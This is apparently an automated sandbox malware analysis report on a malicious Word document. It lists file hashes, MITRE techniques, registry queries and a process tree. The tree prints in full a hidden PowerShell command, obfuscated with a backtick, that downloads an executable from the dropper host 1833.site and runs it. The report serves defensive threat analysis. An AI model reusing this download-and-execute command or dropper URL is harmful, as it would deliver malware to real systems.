dfe11b83da7c4dc02ff7675d086ff7ddd97fec71c62cc96f1a391f574bec6b4f

Analysis

max time kernel
156s
max time network
165s
platform
windows10-2004_x64
resource
win10v2004-20240319-en
resource tags

arch:x64arch:x86image:win10v2004-20240319-enlocale:en-usos:windows10-2004-x64system
submitted
10/04/2024, 14:31

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General

Target

dfe11b83da7c4dc02ff7675d086ff7ddd97fec71c62cc96f1a391f574bec6b4f.doc
Size

34KB
MD5

12840e2c8a5f378153d9eaea226c592b
SHA1

a6cfa25e5a9eb7fca97b19b2f5b8003ed7c7aaae
SHA256

dfe11b83da7c4dc02ff7675d086ff7ddd97fec71c62cc96f1a391f574bec6b4f
SHA512

d5c07898f3d313a12a38bc730543a33b68d73786a1f798fa0b9277ba324b14ec5833a2f06bbef6c562b964d664c7fcc3beec245add1e8c2437418c5f2a89e84d
SSDEEP

384:tUMbR2efiSUR/8dBQfq9uVJQSwy9y0jbUDIotCW:tUMbR2l/qmJ1wLQUD

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://1833.site/gp00973.exe

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	3760	3216	cmd.exe	93

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3216	WINWORD.EXE
3216	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
4908	powershell.exe
4908	powershell.exe
4908	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4908	powershell.exe

Suspicious use of SetWindowsHookEx 8 IoCs

pid	Process
3216	WINWORD.EXE
3216	WINWORD.EXE
3216	WINWORD.EXE
3216	WINWORD.EXE
3216	WINWORD.EXE
3216	WINWORD.EXE
3216	WINWORD.EXE
3216	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 3216 wrote to memory of 3760	3216	WINWORD.EXE	99
PID 3216 wrote to memory of 3760	3216	WINWORD.EXE	99
PID 3760 wrote to memory of 4908	3760	cmd.exe	102
PID 3760 wrote to memory of 4908	3760	cmd.exe	102

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\dfe11b83da7c4dc02ff7675d086ff7ddd97fec71c62cc96f1a391f574bec6b4f.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3216
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Documents\wanthistory.bat" "
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3760
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -w h Start-BitsTransfer -Source htt`p://1833.site/gp00973.exe -Destination C:\Users\Public\Documents\regioncheck.exe;C:\Users\Public\Documents\regioncheck.exe
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4908

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3728 --field-trial-handle=2256,i,5035714022000286426,16259316383734940314,262144 --variations-seed-version /prefetch:8
1⤵
PID:6004

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jzdgoes2.ywa.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851227[[fn=sist02]].xsl

Filesize
245KB

MD5
f883b260a8d67082ea895c14bf56dd56

SHA1
7954565c1f243d46ad3b1e2f1baf3281451fc14b

SHA256
ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353

SHA512
d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e

Download Submit
C:\Users\Public\Documents\wanthistory.bat

Filesize
172B

MD5
eae996bcbd727eb45365a2230d52485d

SHA1
cb10800dfc57c9d581ce52f15f36edb3e1e2a9ef

SHA256
3b3dc0f2befb4174f856fcec6e5237be9c4102c9f54ed2062d3c9e5b6c23fe55

SHA512
6ff5af5b8b60d599e5b705e69f817a79e90cc43b5336a3887e156ced213781e6f64add54d2354bbeb0cbca4fd9b9b39c050f6b4950409f7beb2ae13e1040bd66

Download Submit
memory/3216-17-0x00007FFAB7190000-0x00007FFAB71A0000-memory.dmp

Filesize
64KB

Download
memory/3216-5-0x00007FFAF9630000-0x00007FFAF9825000-memory.dmp

Filesize
2.0MB

Download
memory/3216-4-0x00007FFAB96B0000-0x00007FFAB96C0000-memory.dmp

Filesize
64KB

Download
memory/3216-7-0x00007FFAB96B0000-0x00007FFAB96C0000-memory.dmp

Filesize
64KB

Download
memory/3216-8-0x00007FFAF9630000-0x00007FFAF9825000-memory.dmp

Filesize
2.0MB

Download
memory/3216-9-0x00007FFAB96B0000-0x00007FFAB96C0000-memory.dmp

Filesize
64KB

Download
memory/3216-6-0x00007FFAF9630000-0x00007FFAF9825000-memory.dmp

Filesize
2.0MB

Download
memory/3216-10-0x00007FFAF9630000-0x00007FFAF9825000-memory.dmp

Filesize
2.0MB

Download
memory/3216-11-0x00007FFAF9630000-0x00007FFAF9825000-memory.dmp

Filesize
2.0MB

Download
memory/3216-12-0x00007FFAF9630000-0x00007FFAF9825000-memory.dmp

Filesize
2.0MB

Download
memory/3216-13-0x00007FFAF9630000-0x00007FFAF9825000-memory.dmp

Filesize
2.0MB

Download
memory/3216-14-0x00007FFAB7190000-0x00007FFAB71A0000-memory.dmp

Filesize
64KB

Download
memory/3216-571-0x00007FFAF9630000-0x00007FFAF9825000-memory.dmp

Filesize
2.0MB

Download
memory/3216-16-0x00007FFAF9630000-0x00007FFAF9825000-memory.dmp

Filesize
2.0MB

Download
memory/3216-574-0x00007FFAF9630000-0x00007FFAF9825000-memory.dmp

Filesize
2.0MB

Download
memory/3216-35-0x00000182729F0000-0x00000182739C0000-memory.dmp

Filesize
15.8MB

Download
memory/3216-38-0x00000182729F0000-0x00000182739C0000-memory.dmp

Filesize
15.8MB

Download
memory/3216-42-0x00000182729F0000-0x00000182739C0000-memory.dmp

Filesize
15.8MB

Download
memory/3216-43-0x00000182729F0000-0x00000182739C0000-memory.dmp

Filesize
15.8MB

Download
memory/3216-0-0x00007FFAB96B0000-0x00007FFAB96C0000-memory.dmp

Filesize
64KB

Download
memory/3216-575-0x00007FFAF9630000-0x00007FFAF9825000-memory.dmp

Filesize
2.0MB

Download
memory/3216-2-0x00007FFAB96B0000-0x00007FFAB96C0000-memory.dmp

Filesize
64KB

Download
memory/3216-3-0x00007FFAF9630000-0x00007FFAF9825000-memory.dmp

Filesize
2.0MB

Download
memory/3216-15-0x00007FFAF9630000-0x00007FFAF9825000-memory.dmp

Filesize
2.0MB

Download
memory/3216-572-0x00007FFAB96B0000-0x00007FFAB96C0000-memory.dmp

Filesize
64KB

Download
memory/3216-573-0x00007FFAF9630000-0x00007FFAF9825000-memory.dmp

Filesize
2.0MB

Download
memory/3216-569-0x00007FFAB96B0000-0x00007FFAB96C0000-memory.dmp

Filesize
64KB

Download
memory/3216-570-0x00007FFAB96B0000-0x00007FFAB96C0000-memory.dmp

Filesize
64KB

Download
memory/3216-568-0x00007FFAB96B0000-0x00007FFAB96C0000-memory.dmp

Filesize
64KB

Download
memory/3216-66-0x00007FFAF9630000-0x00007FFAF9825000-memory.dmp

Filesize
2.0MB

Download
memory/3216-1-0x00007FFAF9630000-0x00007FFAF9825000-memory.dmp

Filesize
2.0MB

Download
memory/3216-544-0x00007FFAF9630000-0x00007FFAF9825000-memory.dmp

Filesize
2.0MB

Download
memory/3216-545-0x00007FFAF9630000-0x00007FFAF9825000-memory.dmp

Filesize
2.0MB

Download
memory/3216-546-0x00000182729F0000-0x00000182739C0000-memory.dmp

Filesize
15.8MB

Download
memory/3216-547-0x00000182729F0000-0x00000182739C0000-memory.dmp

Filesize
15.8MB

Download
memory/3216-548-0x00000182729F0000-0x00000182739C0000-memory.dmp

Filesize
15.8MB

Download
memory/4908-65-0x00007FFAC96B0000-0x00007FFACA171000-memory.dmp

Filesize
10.8MB

Download
memory/4908-60-0x0000021870040000-0x0000021870050000-memory.dmp

Filesize
64KB

Download
memory/4908-59-0x00000218704C0000-0x00000218704D4000-memory.dmp

Filesize
80KB

Download
memory/4908-58-0x0000021870150000-0x0000021870176000-memory.dmp

Filesize
152KB

Download
memory/4908-57-0x0000021870040000-0x0000021870050000-memory.dmp

Filesize
64KB

Download
memory/4908-54-0x000002186FF90000-0x000002186FFB2000-memory.dmp

Filesize
136KB

Download
memory/4908-55-0x00007FFAC96B0000-0x00007FFACA171000-memory.dmp

Filesize
10.8MB

Download
memory/4908-56-0x0000021870040000-0x0000021870050000-memory.dmp

Filesize
64KB

Download